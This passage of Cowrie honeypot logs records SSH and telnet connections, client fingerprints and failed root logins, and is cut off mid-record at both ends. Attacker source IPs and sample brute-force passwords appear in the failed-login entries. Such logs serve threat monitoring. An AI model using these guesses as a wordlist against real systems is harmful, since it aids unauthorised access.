sa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:56.540051Z","src_ip":"87.251.79.125","session":"a26eaca201c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fyfcnfcbza","message":"login attempt [root/fyfcnfcbza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:56.754164Z","src_ip":"87.251.79.125","session":"a26eaca201c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":35264,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6c4c5697932","protocol":"ssh","message":"New connection: 101.36.119.203:35264 (10.17.0.5:22) [session: f6c4c5697932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:56.949187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:56.953586Z","src_ip":"101.36.119.203","session":"f6c4c5697932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:57.173843Z","src_ip":"101.36.119.203","session":"f6c4c5697932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:57.827217Z","src_ip":"87.251.79.125","session":"a26eaca201c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpha1","message":"login attempt [root/alpha1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:58.074679Z","src_ip":"101.36.119.203","session":"f6c4c5697932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:15:59.293751Z","src_ip":"101.36.119.203","session":"f6c4c5697932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.08161997795105,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:16:03.653525Z","src_ip":"107.6.151.170","session":"3d2762d07815","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":35216,"dst_ip":"159.203.135.109","dst_port":22,"session":"945afe37d79d","protocol":"ssh","message":"New connection: 162.240.35.200:35216 (159.203.135.109:22) [session: 945afe37d79d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:16:31.697005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:16:31.699664Z","src_ip":"162.240.35.200","session":"945afe37d79d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:16:31.781095Z","src_ip":"162.240.35.200","session":"945afe37d79d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ag1x$M@st3r@P@ss","message":"login attempt [root/Ag1x$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:16:32.027430Z","src_ip":"162.240.35.200","session":"945afe37d79d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:16:34.546155Z","src_ip":"162.240.35.200","session":"945afe37d79d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":48026,"dst_ip":"10.17.0.5","dst_port":22,"session":"92dbf1d69b97","protocol":"ssh","message":"New connection: 38.93.206.2:48026 (10.17.0.5:22) [session: 92dbf1d69b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:16:40.398563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:16:40.404414Z","src_ip":"38.93.206.2","session":"92dbf1d69b97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:16:40.454186Z","src_ip":"38.93.206.2","session":"92dbf1d69b97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abgos999","message":"login attempt [root/abgos999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:16:40.613010Z","src_ip":"38.93.206.2","session":"92dbf1d69b97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:16:41.665234Z","src_ip":"38.93.206.2","session":"92dbf1d69b97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":45408,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4f8734fb715","protocol":"telnet","message":"New connection: 137.184.5.188:45408 (159.203.135.109:23) [session: a4f8734fb715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:16:54.666266Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":46138,"dst_ip":"159.203.135.109","dst_port":23,"session":"793d81f99c31","protocol":"telnet","message":"New connection: 137.184.5.188:46138 (159.203.135.109:23) [session: 793d81f99c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:16:58.237833Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":58354,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d462563cbee","protocol":"ssh","message":"New connection: 109.237.96.109:58354 (10.17.0.5:22) [session: 0d462563cbee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:02.994318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:03.000648Z","src_ip":"109.237.96.109","session":"0d462563cbee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:03.105643Z","src_ip":"109.237.96.109","session":"0d462563cbee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12071994","message":"login attempt [root/12071994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:03.390656Z","src_ip":"109.237.96.109","session":"0d462563cbee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:04.486974Z","src_ip":"109.237.96.109","session":"0d462563cbee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":48910,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f1dfb042e11","protocol":"ssh","message":"New connection: 103.149.28.157:48910 (159.203.135.109:22) [session: 7f1dfb042e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:13.192475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:13.195838Z","src_ip":"103.149.28.157","session":"7f1dfb042e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:13.448876Z","src_ip":"103.149.28.157","session":"7f1dfb042e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveit","message":"login attempt [root/loveit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:14.453761Z","src_ip":"103.149.28.157","session":"7f1dfb042e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:15.706594Z","src_ip":"103.149.28.157","session":"7f1dfb042e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":53748,"dst_ip":"159.203.135.109","dst_port":22,"session":"89754e8444f3","protocol":"ssh","message":"New connection: 143.20.185.207:53748 (159.203.135.109:22) [session: 89754e8444f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:25.437373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:25.440900Z","src_ip":"143.20.185.207","session":"89754e8444f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:25.556872Z","src_ip":"143.20.185.207","session":"89754e8444f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS8VCPU32GBAMD","message":"login attempt [root/undefinedVPS8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:25.939699Z","src_ip":"143.20.185.207","session":"89754e8444f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:27.057270Z","src_ip":"143.20.185.207","session":"89754e8444f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.302781105041504,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:36.540507Z","src_ip":"137.184.5.188","session":"793d81f99c31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":56700,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f85316e6d6b","protocol":"ssh","message":"New connection: 101.36.119.203:56700 (10.17.0.5:22) [session: 6f85316e6d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:38.236913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:38.240413Z","src_ip":"101.36.119.203","session":"6f85316e6d6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:38.455274Z","src_ip":"101.36.119.203","session":"6f85316e6d6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#123","message":"login attempt [root/!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:39.349939Z","src_ip":"101.36.119.203","session":"6f85316e6d6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:40.567990Z","src_ip":"101.36.119.203","session":"6f85316e6d6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.27954030036926,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:17:52.945690Z","src_ip":"137.184.5.188","session":"a4f8734fb715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":36870,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fd1e1d461a0","protocol":"ssh","message":"New connection: 38.242.143.220:36870 (10.17.0.5:22) [session: 7fd1e1d461a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:18:27.985326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:18:27.992483Z","src_ip":"38.242.143.220","session":"7fd1e1d461a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v